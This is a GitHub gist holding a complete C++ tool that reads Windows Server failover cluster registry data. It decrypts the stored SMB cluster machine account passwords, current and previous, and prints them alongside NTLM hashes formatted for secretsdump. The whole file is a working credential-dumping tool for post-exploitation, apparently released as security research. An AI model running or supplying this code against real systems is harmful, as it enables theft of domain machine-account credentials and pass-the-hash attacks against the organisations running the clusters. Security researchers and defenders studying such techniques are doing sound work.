Last active
August 14, 2025 17:42
-
-
Save EvanMcBroom/a63f17466c7d1ab8b11ae80e520287ce to your computer and use it in GitHub Desktop.
Decryption code for Windows Server failover cluster ResourceData.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Copyright (C) 2025 Evan McBroom and Garrett Foster | |
// | |
// Permission is hereby granted, free of charge, to any person obtaining a copy | |
// of this software and associated documentation files (the "Software"), to deal | |
// in the Software without restriction, including without limitation the rights | |
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell | |
// copies of the Software, and to permit persons to whom the Software is | |
// furnished to do so, subject to the following conditions: | |
// | |
// The above copyright notice and this permission notice shall be included in | |
// all copies or substantial portions of the Software. | |
// | |
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | |
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE | |
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | |
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, | |
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN | |
// THE SOFTWARE. | |
// | |
// Compile: cl /EHsc /MT decrypt_cluster_resourcedata.cpp | |
// | |
// The code may be used to encrypt or decrypt the ResourceData | |
// content which SMB cluster servers store in the registry. | |
// | |
// The current format of ResourceData is as follows: | |
// struct { | |
// DWORD PREFIX; // Believed to be the data format version | |
// DWORD BUFFER_IV_SIZE; | |
// DWORD BUFFER_KEY_SIZE; | |
// // BUFFER_IV | |
// // BUFFER_KEY | |
// // BUFFER_DATA | |
// }; | |
// | |
// At the time of writing, the value of PREFIX is stored as 2. | |
// The decrypted data consists of the current machine account | |
// password for the SMB cluster followed by its previous | |
// machine account password, if present. The format of both | |
// passwords is as follows: | |
// union { | |
// struct { | |
// DWORD PasswordLength; | |
// BYTE Password[]; | |
// }; | |
// BYTE Data[260]; | |
// }; | |
// | |
#define UMDF_USING_NTSTATUS | |
#define _SILENCE_CXX17_CODECVT_HEADER_DEPRECATION_WARNING | |
#include <windows.h> | |
#include <bcrypt.h> | |
#include <codecvt> | |
#include <iomanip> | |
#include <iostream> | |
#include <ntsecapi.h> | |
#include <ntstatus.h> | |
#include <stdlib.h> | |
#include <string> | |
#include <vector> | |
#include <wincrypt.h> | |
#pragma comment(lib, "advapi32.lib") | |
#pragma comment(lib, "bcrypt.lib") | |
/// <summary> | |
/// Implements a slightly modified version of the Crypto::CryptProvider class that is used | |
/// by the clusres.dll!NetNameLib::CryptoAccessV2 api to decrypt ResourceData content. | |
/// | |
/// The class methods differ from the original in the following ways: | |
/// - CryptProvider does not take a 4th dwFlags parameter. That parameter was ignored in | |
/// Microsoft's implementation of the class. | |
/// - Encrypt and Decrypt expect to be provided the entire contents of ResourceData. | |
/// Microsoft's implementation expects to be provided with the contents of ResourceData | |
/// with the leading 4 byte PREFIX data removed. This change was done for convenience. | |
/// </summary> | |
class CryptProvider { | |
public: | |
CryptProvider(const std::wstring& provider, DWORD dwProvType, const std::wstring& container); | |
virtual ~CryptProvider(); | |
void Encrypt(const std::vector<UCHAR>& plaintext, std::vector<UCHAR>& resourceData) { | |
this->Encrypt((const PUCHAR)(plaintext.data()), plaintext.size(), resourceData); | |
} | |
void Encrypt(const PUCHAR pPlaintext, SIZE_T cbPlaintext, std::vector<UCHAR>& resourceData); | |
void Decrypt(std::vector<UCHAR>&); | |
private: | |
std::wstring _keyName; | |
HCRYPTPROV _cryptProvider{ HCRYPTPROV(INVALID_HANDLE_VALUE) }; | |
HCRYPTKEY _exchangeKey{ HCRYPTKEY(INVALID_HANDLE_VALUE) }; | |
BCRYPT_ALG_HANDLE _algoProvider{ INVALID_HANDLE_VALUE }; | |
CryptProvider(const CryptProvider&) = default; | |
CryptProvider& operator=(const CryptProvider&) = default; | |
void EncryptData(PDWORD pdwSize, PUCHAR pData, SIZE_T cbData); | |
void GenerateCryptKey(BCRYPT_KEY_HANDLE& key, std::vector<UCHAR>& secret, std::vector<UCHAR>& iv); | |
BCRYPT_ALG_HANDLE OpenAlgorithm(const std::wstring& algId); | |
}; | |
CryptProvider::CryptProvider(const std::wstring& provider, DWORD dwProvType, const std::wstring& container) { | |
auto succeeded{ CryptAcquireContextW(&_cryptProvider, container.c_str(), provider.c_str(), dwProvType, CRYPT_MACHINE_KEYSET | CRYPT_SILENT | CRYPT_NEWKEYSET) }; | |
if (!succeeded) { | |
if (GetLastError() != NTE_EXISTS || !CryptAcquireContextW(&_cryptProvider, container.c_str(), provider.c_str(), dwProvType, CRYPT_MACHINE_KEYSET | CRYPT_SILENT)) { | |
throw GetLastError(); | |
} | |
} | |
_algoProvider = OpenAlgorithm(L"AES"); | |
} | |
CryptProvider::~CryptProvider() { | |
if (HANDLE(_algoProvider) != INVALID_HANDLE_VALUE) { | |
BCryptCloseAlgorithmProvider(_algoProvider, 0); | |
} | |
if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) { | |
CryptDestroyKey(_exchangeKey); | |
} | |
if (HANDLE(_cryptProvider) != INVALID_HANDLE_VALUE) { | |
CryptReleaseContext(_cryptProvider, 0); | |
} | |
} | |
// Not fully tested | |
void CryptProvider::Encrypt(const PUCHAR pPlaintext, SIZE_T cbPlaintext, std::vector<UCHAR>& resourceData) { | |
// Get a key, iv, and secret to use when encrypting the plaintext | |
BCRYPT_KEY_HANDLE key; | |
std::vector<UCHAR> secret; | |
std::vector<UCHAR> iv; | |
GenerateCryptKey(key, secret, iv); | |
// Get the size of the encrypted secret and ciphertext | |
// Use those values to resize the output data to be able to store them | |
auto encryptedSecretBufferSize{ DWORD(secret.size()) }; | |
EncryptData(&encryptedSecretBufferSize, nullptr, 0); | |
ULONG ciphertextSize; | |
auto status{ BCryptEncrypt(key, pPlaintext, ULONG(cbPlaintext), nullptr, nullptr, 0, nullptr, 0, &ciphertextSize, BCRYPT_BLOCK_PADDING) }; | |
if (status != STATUS_SUCCESS) { | |
throw status; | |
} | |
const auto headerSize{ sizeof(int) * 3 }; | |
resourceData.resize(headerSize + iv.size() + encryptedSecretBufferSize + ciphertextSize); | |
// Store the currently used prefix value (e.g., 2) and size of the iv and secret in the output data | |
*reinterpret_cast<int*>(resourceData.data()) = 2; | |
auto embeddedIvSize{ reinterpret_cast<int*>(resourceData.data()) + 1 }; | |
auto embeddedSecretSize{ reinterpret_cast<int*>(resourceData.data()) + 2 }; | |
*embeddedIvSize = int(iv.size()); | |
*embeddedSecretSize = int(encryptedSecretBufferSize); | |
// Embed the iv | |
auto embeddedIv{ resourceData.data() + headerSize }; | |
if (iv.size()) { | |
std::memcpy(embeddedIv, iv.data(), iv.size()); | |
} | |
auto embeddedSecret{ embeddedIv + *embeddedIvSize }; | |
auto embeddedCiphertext{ embeddedSecret + *embeddedSecretSize }; | |
// Encrypt the plaintext and store its ciphertext in the output data | |
status = BCryptEncrypt(key, pPlaintext, ULONG(cbPlaintext), nullptr, embeddedIv, ULONG(iv.size()), embeddedCiphertext, ciphertextSize, &ciphertextSize, BCRYPT_BLOCK_PADDING); | |
if (status != STATUS_SUCCESS) { | |
throw status; | |
} | |
// Embed the secret and encrypt it in-place | |
if (secret.size()) { | |
std::memcpy(embeddedSecret, secret.data(), secret.size()); | |
auto secretSize{ DWORD(secret.size()) }; | |
EncryptData(&secretSize, embeddedSecret, encryptedSecretBufferSize); | |
} | |
} | |
void CryptProvider::Decrypt(std::vector<UCHAR>& data) { | |
DWORD error{ 0 }; | |
// Get the key stored in the CNG container that was used to encrypt the embedded secret | |
if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) { | |
CryptDestroyKey(_exchangeKey); | |
} | |
if (CryptGetUserKey(_cryptProvider, AT_KEYEXCHANGE, &_exchangeKey)) { | |
// Pointers to each component of the resource data | |
const auto headerSize{ sizeof(int) * 3 }; | |
auto embeddedIvSize{ reinterpret_cast<int*>(data.data()) + 1 }; | |
auto embeddedSecretSize{ reinterpret_cast<int*>(data.data()) + 2 }; | |
auto embeddedIv{ data.data() + headerSize }; | |
auto embeddedSecret{ embeddedIv + *embeddedIvSize }; | |
auto embeddedCiphertext{ embeddedSecret + *embeddedSecretSize }; | |
auto size{ DWORD(*embeddedSecretSize) }; | |
// Decrypt the embedded secret in-place | |
if (CryptDecrypt(_exchangeKey, 0, true, 0, embeddedSecret, &size)) { | |
BCRYPT_KEY_HANDLE cryptKey; | |
// Generate a new key from the decrypted embedded secret | |
auto status{ BCryptGenerateSymmetricKey(_algoProvider, &cryptKey, nullptr, 0, embeddedSecret, size, 0) }; | |
if (status == STATUS_SUCCESS) { | |
auto cbCiphertext{ ULONG(data.size() - headerSize - *embeddedIvSize - *embeddedSecretSize) }; | |
status = BCryptDecrypt(cryptKey, embeddedCiphertext, cbCiphertext, nullptr, embeddedIv, *embeddedIvSize, embeddedCiphertext, cbCiphertext, &size, BCRYPT_BLOCK_PADDING); | |
if (status != STATUS_SUCCESS) { | |
status = status; | |
} | |
} | |
else { | |
error = status; | |
} | |
} | |
else { | |
error = GetLastError(); | |
} | |
} | |
else { | |
error = GetLastError(); | |
} | |
if (error) { | |
throw error; | |
} | |
} | |
void CryptProvider::EncryptData(PDWORD pdwSize, PUCHAR pData, SIZE_T cbData) { | |
auto error{ CryptEncrypt(_exchangeKey, 0, true, 0, pData, pdwSize, pData ? static_cast<DWORD>(cbData) : 0) || (!pData && pdwSize) ? ERROR_SUCCESS : GetLastError()}; | |
if (error != ERROR_SUCCESS) { | |
throw error; | |
} | |
} | |
void CryptProvider::GenerateCryptKey(BCRYPT_KEY_HANDLE& key, std::vector<UCHAR>& secret, std::vector<UCHAR>& iv) { | |
NTSTATUS error{ STATUS_SUCCESS }; | |
auto algorithm{ OpenAlgorithm(L"RNG") }; | |
if (HANDLE(_exchangeKey) != INVALID_HANDLE_VALUE) { | |
CryptDestroyKey(_exchangeKey); | |
} | |
if (CryptGetUserKey(_cryptProvider, AT_KEYEXCHANGE, &_exchangeKey)) { | |
DWORD blockLength; | |
ULONG cbResult; | |
error = BCryptGetProperty(_algoProvider, BCRYPT_BLOCK_LENGTH, reinterpret_cast<PUCHAR>(&blockLength), sizeof(blockLength), &cbResult, 0); | |
if (error == STATUS_SUCCESS) { | |
iv.resize(blockLength); | |
error = BCryptGenRandom(algorithm, iv.data(), ULONG(iv.size()), 0); | |
if (error == STATUS_SUCCESS) { | |
secret.resize(blockLength); | |
error = BCryptGenRandom(algorithm, secret.data(), ULONG(secret.size()), 0); | |
if (error == STATUS_SUCCESS) { | |
error = BCryptGenerateSymmetricKey(_algoProvider, &key, nullptr, 0, secret.data(), ULONG(secret.size()), 0); | |
} | |
} | |
} | |
} | |
else { | |
error = GetLastError(); | |
} | |
(void)BCryptCloseAlgorithmProvider(algorithm, 0); | |
if (error) { | |
throw error; | |
} | |
} | |
BCRYPT_ALG_HANDLE CryptProvider::OpenAlgorithm(const std::wstring& algId) { | |
BCRYPT_ALG_HANDLE hAlgorithm; | |
auto error{ BCryptOpenAlgorithmProvider(&hAlgorithm, algId.c_str(), L"Microsoft Primitive Provider", 0) }; | |
if (error != STATUS_SUCCESS) { | |
throw error; | |
} | |
return hAlgorithm; | |
} | |
auto GetNtlmOwf(const std::wstring& password) { | |
std::vector<UCHAR> ntlmOwf; | |
HCRYPTPROV provider; | |
if (CryptAcquireContextW(&provider, nullptr, nullptr, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) { | |
HCRYPTHASH hash; | |
if (CryptCreateHash(provider, CALG_MD4, 0, 0, &hash)) { | |
if (CryptHashData(hash, reinterpret_cast<const BYTE*>(password.data()), DWORD(password.size() * sizeof(wchar_t)), 0)) { | |
ntlmOwf.resize(MSV1_0_OWF_PASSWORD_LENGTH); | |
auto dataLength{ DWORD(ntlmOwf.size()) }; | |
CryptGetHashParam(hash, HP_HASHVAL, ntlmOwf.data(), &dataLength, 0); | |
} | |
CryptDestroyHash(hash); | |
} | |
CryptReleaseContext(provider, 0); | |
} | |
return ntlmOwf; | |
} | |
auto GetRegistryData(HKEY hive, const std::wstring& subKey, const std::wstring& valueName) { | |
std::vector<UCHAR> data; | |
HKEY key; | |
if (RegOpenKeyExW(hive, subKey.c_str(), 0, KEY_READ, &key) == ERROR_SUCCESS) { | |
DWORD dataSize; | |
if (RegQueryValueExW(key, valueName.c_str(), NULL, NULL, NULL, &dataSize) == ERROR_SUCCESS) { | |
data.resize(dataSize); | |
(void)RegQueryValueExW(key, valueName.c_str(), NULL, NULL, data.data(), &dataSize); | |
} | |
RegCloseKey(key); | |
} | |
return data; | |
} | |
auto GetRegistrySubKeys(HKEY hive, const std::wstring& subKey) { | |
std::vector<std::wstring> names; | |
HKEY key; | |
if (RegOpenKeyExW(hive, subKey.c_str(), 0, KEY_READ, &key) == ERROR_SUCCESS) { | |
WCHAR name[MAX_PATH]; // A sufficient size for our needs | |
for (DWORD index{ 0 }; RegEnumKeyW(key, index, name, sizeof(name) / sizeof(name[0])) == ERROR_SUCCESS; index++) { | |
names.emplace_back(name); | |
} | |
RegCloseKey(key); | |
} | |
return names; | |
} | |
template<typename Container> | |
inline void OutputHex(const Container& container) { | |
for (const auto& c : container) std::wcout << std::setw(2) << std::setfill(L'0') << std::hex << static_cast<int>(static_cast<unsigned char>(c)); | |
} | |
inline void OutputHex(const std::wstring& data) { | |
OutputHex(std::string(reinterpret_cast<const char*>(data.data()), data.size() * sizeof(wchar_t))); | |
} | |
int wmain(int argc, wchar_t* argv[]) { | |
std::wstring checkpointsKey{ L"Cluster\\Checkpoints" }; | |
auto checkpoints{ GetRegistrySubKeys(HKEY_LOCAL_MACHINE, checkpointsKey) }; | |
for (const auto checkpoint : checkpoints) { | |
auto crypto{ std::wstring(reinterpret_cast<wchar_t*>(GetRegistryData(HKEY_LOCAL_MACHINE, checkpointsKey + L"\\" + checkpoint + L"\\Crypto", L"Checkpoints").data())) }; | |
auto providerType{ std::stoi(crypto.substr(0, crypto.find(L"\\"))) }; // In testing this has has been 1, or PROV_RSA_FULL | |
crypto.erase(0, crypto.find(L"\\") + 1); | |
auto provider{ crypto.substr(0, crypto.find(L"\\")) }; // In testing this has has been "Microsoft Enhanced Cryptographic Provider v1.0" | |
crypto.erase(0, crypto.find(L"\\") + 1); | |
auto container{ crypto.erase(0, crypto.find(L"\\") + 1) }; | |
auto resourceKey{ std::wstring{ L"Cluster\\Resources\\" } + checkpoint }; | |
auto resourceData{ GetRegistryData(HKEY_LOCAL_MACHINE, resourceKey + L"\\Parameters", L"ResourceData") }; | |
if (resourceData.size()) { | |
try { | |
// Decrypt ResourceData | |
CryptProvider cryptoProvider(provider, providerType, container); | |
cryptoProvider.Decrypt(resourceData); | |
// Parse out the plaintext | |
const auto headerSize{ int(sizeof(int)) * 3 }; | |
auto embeddedIvSize{ *(reinterpret_cast<int*>(resourceData.data()) + 1) }; | |
auto embeddedSecretSize{ *(reinterpret_cast<int*>(resourceData.data()) + 2) }; | |
auto plaintextOffset{ headerSize + embeddedIvSize + embeddedSecretSize }; | |
auto plaintext{ resourceData.data() + plaintextOffset }; | |
// Parse out the password that is in the plaintext | |
// The first DWORD is the password length, but the password data can contain a null | |
// and the effective length is all data before the null. So we skip the first DWORD | |
// and allow std::wstring to chop of the data when it identifies a null. | |
auto passwordDataLength{ *reinterpret_cast<int*>(plaintext) }; | |
std::wstring password(reinterpret_cast<wchar_t*>(plaintext + sizeof(int))); | |
// Output the password and its nt owf hash. The nt owf will conform to secretsdump's format | |
auto ntlmOwf{ GetNtlmOwf(password) }; | |
auto name{ std::wstring(reinterpret_cast<wchar_t*>(GetRegistryData(HKEY_LOCAL_MACHINE, resourceKey, L"Name").data())) }; | |
std::wcout << "[+] Decrypted checkpoint " << checkpoint << std::endl; | |
std::wcout << " Pass: "; OutputHex(password); std::wcout << std::endl; | |
std::wcout << " Hash: " << name << L"$:"; OutputHex(ntlmOwf); std::wcout << std::endl; | |
// Parse out the previous password. This will be the same as the current password | |
// until the machine account password is rotated. | |
auto previousPasswordOffset{ 260 }; // The data for previous password is stored at offset 260 | |
auto previousPasswordSize{ int(resourceData.size()) - plaintextOffset - previousPasswordOffset }; | |
if (previousPasswordSize > 0) { | |
auto previousPasswordDataLength{ *reinterpret_cast<int*>(plaintext + previousPasswordOffset) }; | |
std::wstring previousPassword(reinterpret_cast<wchar_t*>(plaintext + previousPasswordOffset + sizeof(int))); | |
// If a previous password does not exist, then previousPasswordDataLength will be 0 | |
// and the storage area for the previous password may contain a password with the | |
// first wchar_t null'd to make the effective length of its data also 0. In testing, | |
// when this occurs the previous password will contain a copy of the current password. | |
// This will happen when a user "repairs" the active directory object for the machine | |
// account. | |
if (previousPasswordDataLength) { | |
try { | |
// Output the previous password and its nt owf hash | |
auto ntlmOwf{ GetNtlmOwf(previousPassword) }; | |
std::wcout << L" Previous pass: "; OutputHex(previousPassword); std::wcout << std::endl; | |
std::wcout << L" Previous hash: " << name << L"$:"; OutputHex(ntlmOwf); std::wcout << std::endl; | |
} | |
catch (...) { | |
std::wcerr << L"[-] Failed to decrypt the previous password for checkpoint " << checkpoint << L"." << std::endl; | |
} | |
} | |
else { | |
auto partialPreviousPasswordSize{ previousPasswordSize - int(sizeof(int)) - int(sizeof(wchar_t)) }; | |
auto partialPreviousPassword{ reinterpret_cast<wchar_t*>(plaintext + previousPasswordOffset + sizeof(int) + sizeof(wchar_t)) }; | |
if (partialPreviousPasswordSize > 0 && *partialPreviousPassword) { | |
std::wcout << L" [!] The previous password data was overwritten and could only be partially recovered" << std::endl; | |
std::wcout << " Partial previous pass: ????"; OutputHex(std::wstring(partialPreviousPassword)); std::wcout << std::endl; | |
} | |
else { | |
std::wcout << " Previous pass: (none)" << std::endl; | |
std::wcout << " Previous hash: (none)" << std::endl; | |
} | |
} | |
} | |
} | |
catch (...) { | |
std::wcerr << L"[-] Failed to decrypt ResourceData for checkpoint " << checkpoint << L"." << std::endl; | |
} | |
} | |
else { | |
std::wcerr << L"[-] Failed to find ResourceData for checkpoint " << checkpoint << L"." << std::endl; | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment